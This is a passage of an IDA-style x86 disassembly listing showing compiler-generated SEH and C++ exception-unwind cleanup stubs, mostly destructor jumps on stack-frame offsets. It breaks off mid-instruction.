noreturn SEH_4178F0 proc near ; DATA XREF: sub_4178F0+2o mov eax, offset dword_440B50 jmp sub_4367C8 SEH_4178F0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417960 proc near ; DATA XREF: sub_417960+2o mov eax, offset dword_440B80 jmp sub_4367C8 SEH_417960 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4179D0 proc near ; DATA XREF: sub_4179D0+2o mov eax, offset dword_440BB0 jmp sub_4367C8 SEH_4179D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417A60 proc near ; DATA XREF: sub_417A60+2o mov eax, offset dword_440BE0 jmp sub_4367C8 SEH_417A60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43A8FB: ; DATA XREF: ___:00440C44o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417B20 proc near ; DATA XREF: sub_417B20+2o mov eax, offset dword_440C18 jmp sub_4367C8 SEH_417B20 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A94B: ; DATA XREF: ___:00440C8Co mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417BC0 proc near ; DATA XREF: sub_417BC0+2o mov eax, offset dword_440C60 jmp sub_4367C8 SEH_417BC0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43A99B: ; DATA XREF: ___:00440CD4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417C60 proc near ; DATA XREF: sub_417C60+2o mov eax, offset dword_440CA8 jmp sub_4367C8 SEH_417C60 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AA0E: ; DATA XREF: ___:00440D2Co mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417D30 proc near ; DATA XREF: sub_417D30+2o mov eax, offset dword_440D00 jmp sub_4367C8 SEH_417D30 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AA6B: ; DATA XREF: ___:00440D74o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417E50 proc near ; DATA XREF: sub_417E50+2o mov eax, offset dword_440D48 jmp sub_4367C8 SEH_417E50 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417F10 proc near ; DATA XREF: sub_417F10+2o mov eax, offset dword_440D98 jmp sub_4367C8 SEH_417F10 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417FD0 proc near ; DATA XREF: sub_417FD0+2o mov eax, offset dword_440DE8 jmp sub_4367C8 SEH_417FD0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418080 proc near ; DATA XREF: sub_418080+2o mov eax, offset dword_440E18 jmp sub_4367C8 SEH_418080 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418100 proc near ; DATA XREF: sub_418100+2o mov eax, offset dword_440E48 jmp sub_4367C8 SEH_418100 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AB8B: ; DATA XREF: ___:00440EA4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4181B0 proc near ; DATA XREF: sub_4181B0+2o mov eax, offset dword_440E78 jmp sub_4367C8 SEH_4181B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43ABBB: ; DATA XREF: ___:00440EDCo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418290 proc near ; DATA XREF: sub_418290+2o mov eax, offset dword_440EB0 jmp sub_4367C8 SEH_418290 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1B4h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418490 proc near ; DATA XREF: sub_418490+8o mov eax, offset dword_440EF8 jmp sub_4367C8 SEH_418490 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AC2B: ; DATA XREF: ___:00440F54o mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4190B0 proc near ; DATA XREF: sub_4190B0+2o mov eax, offset dword_440F28 jmp sub_4367C8 SEH_4190B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419170 proc near ; DATA XREF: sub_419170+2o mov eax, offset dword_440F60 jmp sub_4367C8 SEH_419170 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419220 proc near ; DATA XREF: sub_419220+2o mov eax, offset dword_440F90 jmp sub_4367C8 SEH_419220 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC9B: ; DATA XREF: ___:00440FECo lea ecx, [ebp-28Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4192C0 proc near ; DATA XREF: sub_4192C0+2o mov eax, offset dword_440FC0 jmp sub_4367C8 SEH_4192C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-820h] jmp sub_40186B ; --------------------------------------------------------------------------- loc_43ACCB: ; DATA XREF: ___:0041A188o mov eax, offset dword_440FF8 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-44h] and eax, 1 test eax, eax jz locret_43ACF6 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43ACF6: ; CODE XREF: ___:0043ACE8j retn ; --------------------------------------------------------------------------- loc_43ACF7: ; DATA XREF: ___:00441054o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AD07: ; DATA XREF: ___:0041B0F2o mov eax, offset dword_441028 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41B400 proc near ; DATA XREF: sub_41B400+2o mov eax, offset dword_441068 jmp sub_4367C8 SEH_41B400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43AD40 proc near ; DATA XREF: ___:004410C4o lea ecx, [ebp-3Ch] jmp sub_401226 sub_43AD40 endp ; --------------------------------------------------------------------------- mov eax, [ebp-40h] and eax, 1 test eax, eax jz locret_43AD5E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43AD5E: ; CODE XREF: ___:0043AD50j retn ; --------------------------------------------------------------------------- loc_43AD5F: ; DATA XREF: ___:004410CCo lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41B950 proc near ; DATA XREF: sub_41B950+2o mov eax, offset dword_441098 jmp sub_4367C8 SEH_41B950 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41C390 proc near ; DATA XREF: sub_41C390+2o mov eax, offset dword_4410E0 jmp sub_4367C8 SEH_41C390 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-10Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ADEB: ; DATA XREF: ___:00441164o lea ecx, [ebp-0DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-94h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp sub_4014B0 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41C610 proc near ; DATA XREF: sub_41C610+2o mov eax, offset dword_441138 jmp sub_4367C8 SEH_41C610 endp ; --------------------------------------------------------------------------- db 59h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF78: ; DATA XREF: ___:0044126Co mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D540 proc near ; DATA XREF: sub_41D540+2o mov eax, offset dword_441240 jmp sub_4367C8 SEH_41D540 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AFB8: ; DATA XREF: ___:004412B4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D5D0 proc near ; DATA XREF: sub_41D5D0+2o mov eax, offset dword_441288 jmp sub_4367C8 SEH_41D5D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43AFF8: ; DATA XREF: ___:004412FCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 50h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 65h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D670 proc near ; DATA XREF: sub_41D670+2o mov eax, offset dword_4412D0 jmp sub_4367C8 SEH_41D670 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B058: ; DATA XREF: ___:00441354o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 50h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 65h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D760 proc near ; DATA XREF: sub_41D760+2o mov eax, offset dword_441328 jmp sub_4367C8 SEH_41D760 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1140h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B0F2: ; DATA XREF: sub_41D830+8o mov eax, offset dword_441380 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E140 proc near ; DATA XREF: sub_41E140+2o mov eax, offset dword_4413D8 jmp sub_4367C8 SEH_41E140 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E400 proc near ; DATA XREF: sub_41E400+2o mov eax, offset dword_441418 jmp sub_4367C8 SEH_41E400 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-48h] jmp sub_401816 ; --------------------------------------------------------------------------- loc_43B188: ; DATA XREF: ___:00441494o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp sub_401253 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E660 proc near ; DATA XREF: sub_41E660+8o mov eax, offset dword_441468 jmp sub_4367C8 SEH_41E660 endp ; --------------------------------------------------------------------------- db 26h dup(0CCh) ; --------------------------------------------------------------------------- loc_43B210: ; DATA XREF: ___:0041EDB5o mov eax, offset dword_4414F8 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1974h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B22B: ; DATA XREF: ___:00441584o lea ecx, [ebp-195Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1944h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-198Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-192Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1914h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18E4h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41EF30 proc near ; DATA XREF: sub_41EF30+8o mov eax, offset dword_441558 jmp sub_4367C8 SEH_41EF30 endp ; --------------------------------------------------------------------------- db 28h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B2C8: ; DATA XREF: ___:00441604o lea ecx, [ebp-64h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41F860 proc near ; DATA XREF: sub_41F860+2o mov eax, offset dword_4415D8 jmp sub_4367C8 SEH_41F860 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-424h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- dw 8D8Dh dd 0FFFFFBB4h, 4183E990h db 0C5h, 75h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4200F0 proc near ; DATA XREF: sub_4200F0+2o mov eax, offset dword_441610 jmp sub_4367C8 SEH_4200F0 endp ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-112Ch] jmp sub_401A6E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_420530 proc near ; DATA XREF: sub_420530+8o mov eax, offset dword_441650 jmp sub_4367C8 SEH_420530 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-4FCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B34B: ; DATA XREF: ___:004416ACo lea ecx, [ebp-434h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4207E0 proc near ; DATA XREF: sub_4207E0+2o mov eax, offset dword_441680 jmp sub_4367C8 SEH_4207E0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B37B: ; DATA XREF: ___:004416E4o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B383: ; DATA XREF: ___:004416ECo lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B38B: ; DATA XREF: ___:004416F4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3A3: ; DATA XREF: ___:0044170Co lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3BB: ; DATA XREF: ___:00441724o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3D3: ; DATA XREF: ___:0044173Co lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3EB: ; DATA XREF: ___:00441754o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3FB: ; DATA XREF: ___:00441764o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B40B: ; DATA XREF: ___:00441774o lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_420E10 proc near ; DATA XREF: sub_420E10+8o mov eax, offset dword_4416B8 jmp sub_4367C8 SEH_420E10 endp ; --------------------------------------------------------------------------- db 33h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax mov ecx, [ebp-10h] push ecx call j_nullsub_11 add esp, 8 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_422650 proc near ; DATA XREF: sub_422650+2o mov eax, offset dword_4417A0 jmp sub_4367C8 SEH_422650 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax mov ecx, [ebp-10h] push ecx call j_nullsub_11 add esp, 8 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4226E0 proc near ; DATA XREF: sub_4226E0+2o mov eax, offset dword_4417D0 jmp sub_4367C8 SEH_4226E0 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4227F0 proc near ; DATA XREF: sub_4227F0+2o mov eax, offset dword_441800 jmp sub_4367C8 SEH_4227F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-624h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_422A40 proc near ; DATA XREF: sub_422A40+8o mov eax, offset dword_441850 jmp sub_4367C8 SEH_422A40 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_425980 proc near ; DATA XREF: sub_425980+2o mov eax, offset dword_4418D8 jmp sub_4367C8 SEH_425980 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, 